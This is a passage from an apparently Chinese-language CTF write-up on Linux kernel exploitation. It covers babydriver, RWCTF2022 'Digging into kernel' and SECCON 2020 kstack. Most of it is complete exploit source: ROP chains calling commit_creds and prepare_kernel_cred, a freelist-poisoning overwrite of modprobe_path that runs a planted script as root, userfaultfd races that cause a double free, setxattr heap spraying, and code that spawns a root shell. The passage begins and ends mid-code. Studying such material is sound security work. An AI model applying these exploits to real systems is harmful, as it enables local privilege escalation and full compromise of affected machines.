errorMsg("fail to open babydriver" ); } ioctl(fd1,0x10001 ,0x20 ); close(fd1); fd3 = open("/proc/self/stat" ,O_RDONLY); if (fd3 < 0 ) { errorMsg("fail to open /proc/self/stat" ); } read(fd2,fake_seq_array,0x18 ); print_binary(fake_seq_array,0x18 ); kernel_offset = fake_seq_array[0 ] - single_start; printAddr("kernel_offset" ,kernel_offset); commit_creds += kernel_offset; prepare_kernel_cred += kernel_offset; printAddr("commit_creds" ,commit_creds); printAddr("prepare_kernel_cred" ,prepare_kernel_cred); fake_seq_array[0 ] = add_rsp_0x78_pop_rbx_pop_r12_pop_r13_pop_rbp_ret + kernel_offset; write(fd2,fake_seq_array,0x18 ); int i = 0 ; ROP[i++] = pop_rdi_ret + kernel_offset; ROP[i++] = 0x6f0 ; ROP[i++] = mov_cr4_rdi_pop_rbp_ret + kernel_offset; ROP[i++] = 0 ; ROP[i++] = getRootPrivilege; ROP[i++] = swapgs_pop_rbp_ret + kernel_offset; ROP[i++] = 0 ; ROP[i++] = iretq_ret + kernel_offset; ROP[i++] = spawn_shell; ROP[i++] = user_cs; ROP[i++] = user_rflags; ROP[i++] = user_sp; ROP[i++] = user_ss; printAddr("ROP" ,ROP); printAddr("ROP_addr" ,ROP_addr); pop_rsp_ret += kernel_offset; add_rsp_0xa0_pop_rbx_pop_r12_pop_rbp_ret += kernel_offset; __asm__( "mov r15, add_rsp_0xa0_pop_rbx_pop_r12_pop_rbp_ret;" "mov r14, 0x2222222222;" "mov r13, ROP_addr;" "mov r12, pop_rsp_ret;" "mov rbp, 0x5555555555;" "mov rbx, 0x6666666666;" "mov r11, 0x7777777777;" "mov r10, 0x8888888888;" "mov r9, 0x9999999999;" "mov r8, 0xaaaaaaaaaa;" "mov rcx, 0x666666;" "mov rdx, 0x10;" "mov rsi, buf;" "mov rdi, fd3;" "xor rax, rax;" "syscall" ); }
Arbitrary-Address Allocation Arbitrary-Address Allocation,即任意地址分配,通过覆盖 freelist 中的 next 指针到fake_obj,就可以完成任意地址分配,这一点可以类比 glibc 中的 fastbin attack,几乎可以说这种手法完全就是 kernel 版的 fastbin attack。
modprobe_path 这里需要先介绍一下 modprobe_path,在执行(execve)一个非法文件时,内核会经历下面的调用链:
1 2 3 4 5 6 7 8 9 entry_SYSCALL_64() sys_execve() do_execve() do_execveat_common() bprm_execve() exec_binprm() search_binary_handler() __request_module() call_modprobe()
参考链接:https://elixir.bootlin.com/linux/v5.4.263/source/kernel/kmod.c#L70
在这里调用了函数 call_usermodehelper_exec()
将 modprobe_path
作为可执行文件路径以 root 权限将其执行,这个地址上默认存储的值为/sbin/modprobe
注意事项: 若是能够劫持 modprobe_path,将其改写为指定的恶意脚本的路径,随后再执行一个非法文件,内核将会以 root 权限执行的恶意脚本
关于 modprobe_path 的地址定位这里提供两种方法 :
1. 直接搜索字符串
2. __request_module 找到 modprobe_path
可以发现在 __request_module 函数中的 if 判断会调用 modprobe 值,所以我们可以通过这一点来获取 modprobe_path 地址。
对应汇编内容如下:
这样我们就找到了 modprobe_path 的地址。
RWCTF2022高校赛 - Digging into kernel 1 & 2 静态分析
程序中只给了一个 xkmod_ioctl,并且分别对应三个功能,可以实现读写功能和 kmem_cache_alloc 功能。
需要注意的是 kmem_cache 结构体的大小为 192。
漏洞点
给了一个 UAF 糊脸。
动态调试 step1:leak page_offset_base 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int fd1 = open("/dev/xkmod" , O_RDONLY);int fd2 = open("/dev/xkmod" , O_RDONLY);int fd3 = open("/dev/xkmod" , O_RDONLY);int fd4 = open("/dev/xkmod" , O_RDONLY);if (fd1 < 0 || fd2 < 0 || fd3 < 0 || fd4 < 0 ) errorMsg("Fail to open xkmod file!" );alloc_cache(fd1, "aaaa" ); close(fd1); read_data(fd2, buf, 0 , 0x50 ); printBinary(buf,0x50 ); size_t heap_addr = *(size_t *)&buf[0 ];printAddr("heap_addr" , heap_addr);
read_data(fd2, buf, 0, 0x50); 对应的汇编如下:
从下图可以看到,这里已经有释放 obj 后进入freelist 中时,保存的 next 指针,它是指向下一个 obj 的地址,由此可以判断程序未开启 SLAB_FREELIST_HARDENED 保护。
通过测试可以发现每次指向的地址都是不同的,因此可以判断程序开启了 SLAB_FREELIST_RANDOM 保护。
通过该地址计算得到,page_offset_base 的地址。
step2:leak kernel offset 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 *(size_t *)&buf[0 ] = secondary_setup_64-0x10 ; write_data(fd2, buf, 0 , 0x10 ); alloc_cache(fd3, "aaaa" ); alloc_cache(fd3, "aaaa" ); outputMsg("get obj included secondary_setup_64 function addr" ); alloc_cache(fd4, "aaaa" ); memset (buf, 0 , 0x100 );outputMsg("leak kernel addr" ); read_data(fd4, buf, 0 , 0x50 ); printBinary(buf,0x50 ); kernel_addr = *(size_t *)&buf[0x10 ] - 0x30 ; kernel_offset = kernel_addr - kernel_base; printAddr("kernel_addr" , kernel_addr); printAddr("kernel_offset" , kernel_offset);
write_data(fd2, buf, 0, 0x10); 这一步完成 Arbitrary-Address Allocation 劫持。
如下图所示,alloc_cache 三次即可分配得到我们的目标 obj,即 secondary_setup_64 所在的位置。
step3:hijack program by modprobe_path 前面已经对 modprobe_path 的知识有所解释,这里我们只需要通过 Arbitrary-Address allocation 任意地址分配到这里,然后该路径为我们的恶意脚本,让系统以 root 权限执行我们的脚本即可。
利用过程与 step 2 类似,
这里已经修改我们的恶意脚本路径了,现在只需要去执行一个非法文件即可触发执行。
1 2 3 4 5 outputMsg("create fake excutable file to trigger call_modprobe" ); system("echo '\xff\xff\xff\xff' > /home/fake" ); system("chmod +x /home/fake" ); system("/home/fake" ); system("cat /flag" );
现在让我们开启地址随机化,同时设置为非 root 用户来测试我们exp。
可以看到这里可以成功在非 root 用户的状态下,完成对 flag 内容的读取。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <linux/keyctl.h> void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } size_t user_cs,user_ss,user_sp,user_rflags;void saveStatus () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); outputMsg("Process binded to core" ); } void getRootShell () { outputMsg("back from kernelspace" ); if (!getuid()) { outputMsg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else errorMsg("FAIL TO GET ROOT" ); } void printBinary (void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0 ; i < len / 8 ; i += 2 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 2 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 16 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } typedef struct Block { char * data; int offset; int size; }Block; void read_data (int fd, char * data, int offset, int size) { Block buf = {.data = data, .offset = offset, .size = size}; ioctl(fd, 0x7777777 , &buf); } void write_data (int fd, char * data, int offset, int size) { Block buf = {.data = data, .offset = offset, .size = size}; ioctl(fd, 0x6666666 , &buf); } void alloc_cache (int fd, char * data) { Block buf = {.data = data}; ioctl(fd, 0x1111111 , &buf); } size_t kernel_offset = 0 ;size_t kernel_addr = 0xffffffff81000000 ;size_t kernel_base = 0xffffffff81000000 ;size_t modprobe_path = 0xffffffff82444700 ;#define root_script_path "/home/get_privilege_flag" char * instruction = "#!/bin/sh\nchmod 777 /flag" ;int main () { char buf[0x100 ]; bind_core(0 ); int root_script_fd = open(root_script_path, O_RDWR | O_CREAT); if (root_script_fd < 0 ) errorMsg("fail to create " root_script_path); outputMsg("Success to create " root_script_path); write(root_script_fd, instruction, 0x1a ); close(root_script_fd); system("chmod 777 " root_script_path); int fd1 = open("/dev/xkmod" , O_RDONLY); int fd2 = open("/dev/xkmod" , O_RDONLY); int fd3 = open("/dev/xkmod" , O_RDONLY); int fd4 = open("/dev/xkmod" , O_RDONLY); if (fd1 < 0 || fd2 < 0 || fd3 < 0 || fd4 < 0 ) errorMsg("Fail to open xkmod file!" ); alloc_cache(fd1, "aaaa" ); close(fd1); read_data(fd2, buf, 0 , 0x50 ); printBinary(buf,0x50 ); size_t heap_addr = *(size_t *)&buf[0 ]; printAddr("heap_addr" , heap_addr); size_t page_offset_base = heap_addr & 0xfffffffff0000000 ; printAddr("page_offset_base" , page_offset_base); size_t secondary_setup_64 = page_offset_base + 0x9d000 ; printAddr("secondary_setup_64" , secondary_setup_64); *(size_t *)&buf[0 ] = secondary_setup_64-0x10 ; write_data(fd2, buf, 0 , 0x10 ); alloc_cache(fd3, "aaaa" ); alloc_cache(fd3, "aaaa" ); outputMsg("get obj included secondary_setup_64 function addr" ); alloc_cache(fd4, "aaaa" ); memset (buf, 0 , 0x100 ); outputMsg("leak kernel addr" ); read_data(fd4, buf, 0 , 0x50 ); printBinary(buf,0x50 ); kernel_addr = *(size_t *)&buf[0x10 ] - 0x30 ; kernel_offset = kernel_addr - kernel_base; printAddr("kernel_addr" , kernel_addr); printAddr("kernel_offset" , kernel_offset); close(fd3); modprobe_path = modprobe_path + kernel_offset; printAddr("modprobe_path" , modprobe_path); *(size_t *)&buf[0 ] = modprobe_path - 0x10 ; write_data(fd2, buf, 0 , 0x10 ); fd3 = open("/dev/xkmod" , O_RDONLY); fd4 = open("/dev/xkmod" , O_RDONLY); alloc_cache(fd3, "aaaa" ); alloc_cache(fd4, "aaaa" ); outputMsg("copy root file path to replace the original modprobe_path" ); memset (buf, 0 , 0x100 ); strcpy (&buf[0x10 ], root_script_path); write_data(fd4, buf, 0 , 0x50 ); outputMsg("create fake excutable file to trigger call_modprobe" ); system("echo '\xff\xff\xff\xff' > /home/fake" ); system("chmod +x /home/fake" ); system("/home/fake" ); system("cat /flag" ); return 0 ; }
Double free setxattr相关 setxattr 是一个系统调用,通过这个系统调用可以进行内核空间中任意大小的 object 分配 ,一般需要配合 userfaultfd 系统调用完成利用 。
1. 任意大小 object 分配(GFP_KERNEL)& 释放
调用链如下:
1 2 3 4 SYS_setxattr() path_setxattr() setxattr()
在 setattr
函数中有如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static long setxattr (struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { kvalue = kvmalloc(size, GFP_KERNEL); if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { kvfree(kvalue); return error; }
value 和 size 可以由我们进行指定,可以通过分配任意大小的 object 冰箱其中写入内容,之后这个对象就会被释放掉 。
2. setxattr + userfaultfd/FUSE 堆占位技术
该 object 在 setxattr 执行结束时又会被放回 freelist 中,设想若是需要劫持该 object 的前 8 字节,那将前功尽弃
重新考虑 setxattr 的执行流程,其中会调用 copy_from_user
从用户空间拷贝数据,那么考虑如下场景:
通过 mmap 分配连续的两个页面 ,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝 ,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与接下来的利用
这便是 setxattr + userfaultfd 结合的堆占位技术(例题:SECCON 2020 kstack)
但是需要注意的是,自从 5.11 版本起 userfaultfd 不再允许非特权用户使用 ,万幸的是还有用户空间文件系统 (filesystem in userspace,FUSE )可以被用作 userfaultfd 的替代品,帮助完成条件竞争的利用
shm_file_data相关 进程间通信 (Inter-Process Communication,IPC)即不同进程间的数据传递问题,在 Linux 当中有一种 IPC 技术名为共享内存 ,在用户态中我们可以通过 shmget
、shmat
、shmctl
、shmdt
这四个系统调用操纵共享内存
shm_file_data(kmalloc-32|GFP_KERNEL)
该结构体定义于 /ipc/shm.c
中,如下:
1 2 3 4 5 6 struct shm_file_data { int id; struct ipc_namespace *ns ; struct file *file ; const struct vm_operations_struct *vm_ops ; };
1. 分配:shmat 系统调用
使用 shmget
系统调用可以获得一个共享内存对象,随后要使用 shmat
系统调用将共享内存对象映射到进程的地址空间,在该系统调用中调用了 do_shmat()
函数,注意到如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 long do_shmat (int shmid, char __user *shmaddr, int shmflg, ulong *raddr, unsigned long shmlba) { struct shm_file_data *sfd ; sfd = kzalloc(sizeof (*sfd), GFP_KERNEL); file->private_data = sfd;
即在调用 shmat
系统调用时会创建一个 shm_file_data
结构体,最后会存放在共享内存对象文件的 private_data 域中
2. 释放:shmdt 系统调用
使用 shmdt
系统调用用以断开与共享内存对象的连接,观察源码,发现其会调用 ksys_shmdt()
函数,注意到如下调用链:
1 2 3 4 5 6 SYS_shmdt() ksys_shmdt() do_munmap() remove_vma_list() remove_vma()
其中有着这样一条代码:
1 2 3 4 5 6 7 8 static struct vm_area_struct *remove_vma (struct vm_area_struct *vma) { struct vm_area_struct *next = vma->vm_next; might_sleep(); if (vma->vm_ops && vma->vm_ops->close) vma->vm_ops->close(vma);
在这里调用了该 vma 的 vm_ops 对应的 close 函数,将目光重新放回共享内存对应的 vma 的初始化的流程当中,在 shmat() 中注意到如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 long do_shmat (int shmid, char __user *shmaddr, int shmflg, ulong *raddr, unsigned long shmlba) { sfd = kzalloc(sizeof (*sfd), GFP_KERNEL); if (!sfd) { fput(base); goto out_nattch; } file = alloc_file_clone(base, f_flags, is_file_hugepages(base) ? &shm_file_operations_huge : &shm_file_operations);
在这里调用了 alloc_file_clone()
函数,其会调用 alloc_file()
函数将第三个参数赋值给新的 file 结构体的 f_op 域,在这里是 shm_file_operations
或 shm_file_operations_huge
,定义于 /ipc/shm.c
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static const struct file_operations shm_file_operations = { .mmap = shm_mmap, .fsync = shm_fsync, .release = shm_release, .get_unmapped_area = shm_get_unmapped_area, .llseek = noop_llseek, .fallocate = shm_fallocate, }; static const struct file_operations shm_file_operations_huge = { .mmap = shm_mmap, .fsync = shm_fsync, .release = shm_release, .get_unmapped_area = shm_get_unmapped_area, .llseek = noop_llseek, .fallocate = shm_fallocate, };
在这里对于关闭 shm 文件,对应的是 shm_release
函数,如下:
1 2 3 4 5 6 7 8 9 10 static int shm_release (struct inode *ino, struct file *file) { struct shm_file_data *sfd = shm_file_data(file); put_ipc_ns(sfd->ns); fput(sfd->file); shm_file_data(file) = NULL ; kfree(sfd); return 0 ; }
即当进行 shmdt 系统调用时便可以释放 shm_file_data
结构体
数据泄露
内核 .text 段地址
shm_file_data 的 ns 域 和 vm_ops 域皆指向内核的 .text 段中,若是我们能够泄露这两个指针便能获取到内核 .text 段基址,其中 ns 字段通常指向 init_ipc_ns
*内核线性映射区( direct mapping area)
shm_file_data 的 file 域为一个 file 结构体,位于线性映射区中,若能泄露 file 域则同样能泄漏出内核的“堆上地址”
例题 seccon2020-stack 检查保护
开启了 KPTI 保护。
静态分析 内核结构体
1 2 3 4 5 6 typedef struct _Element { int owner; unsigned long value; struct _Element *fd; } Element;
KVM 实现了一个简单的栈结构可以通过程序中的 push 和 pop 操作完成 value 的压栈和出栈。
push操作
pop操作
可以发现 pop 和 push 操作的值传递都是直接通过 copy_to_user 和 copy_from_user 完成利用,且也没有对 其进行上锁,从而可以联想到使用 userfaultfd 进行条件竞争来完成一些利用。
动态分析 STEP1: Leak kernel addr by shm_file_data
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 leak_kernel_page = mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffd_leak_thread, leak_kernel_page, PAGE_SIZE, leak_kernel_func); output_msg("Get a share memory object" ); shm_id = shmget(114514 , 0x1000 , SHM_R | SHM_W | IPC_CREAT); if (shm_id < 0 ) err_msg("shmget!" ); output_msg("Access object addr in process addr space" ); shm_addr = shmat(shm_id, NULL , 0 ); if (shm_addr < 0 ) err_msg("shmat!" ); output_msg("Cut off link with share memory(delete object)" ); if (shmdt(shm_addr) < 0 ) err_msg("shmdt!" ); output_msg("alloc first object from kmemcache & stuck it with userfaultfd" ); push_s(leak_kernel_page);
这里我们首先为 leak_kernel_page 注册一个 userfaultfd,中间的 shmget,shmat,shmdt会分配一个 0x20 的 shm_file_data,并将其释放,如下所示,在释放后该 object 中的 ns 和 file 域上的数据仍会残留在块中,我们可以想办法来读这些脏数据。
1 2 3 4 5 6 struct shm_file_data { int id; struct ipc_namespace *ns ; struct file *file ; const struct vm_operations_struct *vm_ops ; };
我们通过 push 中的 copy_from_user 操作将其卡住,这里 v8+8 刚好对应的是 ns 的脏数据,所以我们先不能通过 copy_from_user 将其覆盖。
我们将程序断在这里,可以发现这里 v8+8 对应的刚好是ns的位置,且其中还残留有内核地址,由于我们已经为其注册了 userfault,所以这里暂时不会直接进行 copy,而是交由 monitor 线程处理。
这是部分线程中的处理代码,这里我们再次进行 pop 时,将会通过 copy_to_user(a3, head + 8, 8LL)
,将上面的内核地址读出。
1 2 3 4 5 6 7 8 9 10 output_msg("Try to pop_s again to make sure read dirty data" ); size_t shm_file_data_ns_addr;pop_s((char *)&shm_file_data_ns_addr); kernel_offset = shm_file_data_ns_addr - 0xffffffff81c37bc0 ; kernel_base += kernel_offset; print_addr("shm_file_data_ns_addr" , shm_file_data_ns_addr); print_addr("kernel_offset" , kernel_offset); print_addr("kernel_base" , kernel_base);
可以发现这里可以成功将内核地址传递到用户空间。
STEP2: Construct double free
1 2 3 4 5 6 output_msg("construct double free" ); double_free_page = mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffd_double_free, double_free_page, PAGE_SIZE, double_free_func); push_s(buf); pop_s(double_free_page);
double free 这里的利用就比较简单,我们先通过 push 申请一块 object,然后在通过 pop 一个注册了userfaultfd 的页面将该操作卡住,在monitor线程中,我们再次 pop,这样实际上就是相当于将同一个 object pop 了两次,从而完成 double free。
可以发现这里对 0x120 的 object 又再次进行 kfree,从而使得该块指向自身,从而使得我们申请两次 0x20 的object时将会得到同样的 object,同时这里我们已经破坏了 kmalloc-32 的 free_list 链表,为了在拿到 root 后能稳定利用,我们需要在前面提前通过打开多个 seq_file 分配多个 0x20 的object,后续在劫持程序时在进行释放,以确保 kmalloc-32 中有足够的块。
STEP3: hijack program with setxattr & userfaultfd
1 2 3 4 5 6 7 8 9 output_msg("hijack program with setxattr & userfaultfd" ); hijack_page = mmap(NULL , PAGE_SIZE * 2 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffd_hijack, hijack_page + PAGE_SIZE, PAGE_SIZE, hijack_func); *(size_t *)&hijack_page[PAGE_SIZE - 8 ] = add_rsp_0x1c8_pop_rbx_pop_r12_pop_r13_pop_r14_pop_r15_pop_rbp_ret + kernel_offset; seq_fd = open("/proc/self/stat" , O_RDONLY); setxattr("/exp" , "henry" , hijack_page - 8 + PAGE_SIZE, 0X20 , 0 );
我们这里通过 setxattr & userfaultfd 进行堆占位,从而使得我们在通过 setxattr("/exp", "henry", hijack_page - 8 + PAGE_SIZE, 0X20, 0);
,能够写的同时不将 object 释放掉。
monitor 线程中的部分代码如下,劫持 seq_operations 后通过 pt_regs 布置好 rop 完成提权后着陆用户态。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 output_msg("Shut down all the seq_files" ); for (int i = 0 ; i < 100 ; i++) close(seq_fd_array[i]); output_msg("Begin to read(statfd, buf, 0x10) which will hijack program" ); __asm__( "mov r15, 0xdeadbeef;" "mov r14, 0xdeadbeef;" "mov r13, pop_rdi_ret;" "mov r12, 0;" "mov rbp, prepare_kernel_cred;" "mov rbx, mov_rdi_rax_pop_rbp_ret;" "mov r11, 0;" "mov r10, commit_creds;" "mov r9, swapgs_restore_regs_and_return_to_usermode;" "mov r8, 0xdeadbeef;" "mov rcx, 0xdeadbeef;" "mov rdx, 0x10;" "mov rsi, buf;" "mov rdi, seq_fd;" "xor rax, rax;" "syscall" ); get_root_shell();
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/types.h> #include <sys/xattr.h> #include <semaphore.h> #include <poll.h> #include <ctype.h> #include <stdint.h> #include <asm/ldt.h> #define SECONDARY_STARTUP_64 0xffffffff81000030 #define PAGE_SIZE 0x1000 void err_msg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void output_msg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void print_addr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } size_t user_cs,user_ss,user_sp,user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void get_root_shell () { output_msg("back from kernelspace" ); if (!getuid()) { output_msg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else err_msg("FAIL TO GET ROOT" ); } void print_binary (void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0 ; i < len / 8 ; i += 2 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 2 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 16 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); output_msg("Process binded to core" ); } int kstackfd, seq_fd;struct kstack_req { size_t value; }; void push_s (char * value_addr) { ioctl(kstackfd, 0x57AC0001 , value_addr); } void pop_s (char * value_addr) { ioctl(kstackfd, 0x57AC0002 , value_addr); } void register_userfaultfd (pthread_t *monitor_thread, void *addr, unsigned long len, void *(*handler)(void *)) { long uffd; struct uffdio_api uffdio_api ; struct uffdio_register uffdio_register ; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1 ) { err_msg("userfaultfd" ); } uffdio_api.api = UFFD_API; uffdio_api.features = 0 ; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1 ) { err_msg("ioctl-UFFDIO_API" ); } uffdio_register.range.start = (unsigned long ) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1 ) { err_msg("ioctl-UFFDIO_REGISTER" ); } s = pthread_create(monitor_thread, NULL , handler, (void *) uffd); if (s != 0 ) { err_msg("pthread_create" ); } } char buf[0x100 ];int seq_fd_array[100 ];char temp_page_for_stuck[0x1000 ];sem_t hack_pop_shm_file_lock;size_t pop_rdi_ret = 0xffffffff81034505 ;size_t commit_creds = 0xffffffff81069c10 ;size_t prepare_kernel_cred = 0xffffffff81069e00 ;size_t kernel_base = 0xffffffff81000000 , kernel_offset;size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34 ;size_t add_rsp_0x100 = 0xffffffff81026c48 ;size_t add_rsp_0x210_ret = 0xffffffff812bfb7e ;size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a ;size_t add_rsp_0x1c8_pop_rbx_pop_r12_pop_r13_pop_r14_pop_r15_pop_rbp_ret = 0xffffffff814d51c0 ;char *leak_kernel_page, *double_free_page, *hijack_page;pthread_t uffd_leak_thread, uffd_double_free, uffd_hijack;void *leak_kernel_func (void *args) { struct uffd_msg msg ; int fault_cnt = 0 ; long uffd; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) args; for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) { err_msg("poll" ); } nread = read(uffd, &msg, sizeof (msg)); if (nread == 0 ) { err_msg("EOF on userfaultfd!\n" ); } if (nread == -1 ) { err_msg("read" ); } if (msg.event != UFFD_EVENT_PAGEFAULT) { err_msg("Unexpected event on userfaultfd\n" ); } output_msg("Try to pop_s again to make sure read dirty data" ); size_t shm_file_data_ns_addr; pop_s((char *)&shm_file_data_ns_addr); kernel_offset = shm_file_data_ns_addr - 0xffffffff81c37bc0 ; kernel_base += kernel_offset; print_addr("shm_file_data_ns_addr" , shm_file_data_ns_addr); print_addr("kernel_offset" , kernel_offset); print_addr("kernel_base" , kernel_base); uffdio_copy.src = (unsigned long long ) temp_page_for_stuck; uffdio_copy.dst = (unsigned long long ) msg.arg.pagefault.address & ~(0x1000 - 1 ); uffdio_copy.len = 0x1000 ; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) { err_msg("ioctl-UFFDIO_COPY" ); } return NULL ; } } void *double_free_func (void *args) { struct uffd_msg msg ; int fault_cnt = 0 ; long uffd; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) args; for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) { err_msg("poll" ); } nread = read(uffd, &msg, sizeof (msg)); if (nread == 0 ) { err_msg("EOF on userfaultfd!\n" ); } if (nread == -1 ) { err_msg("read" ); } if (msg.event != UFFD_EVENT_PAGEFAULT) { err_msg("Unexpected event on userfaultfd\n" ); } output_msg("pop_s() again in userfault monitor" ); size_t value; pop_s((char *)&value); uffdio_copy.src = (unsigned long long ) temp_page_for_stuck; uffdio_copy.dst = (unsigned long long ) msg.arg.pagefault.address & ~(0x1000 - 1 ); uffdio_copy.len = 0x1000 ; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) { err_msg("ioctl-UFFDIO_COPY" ); } return NULL ; } 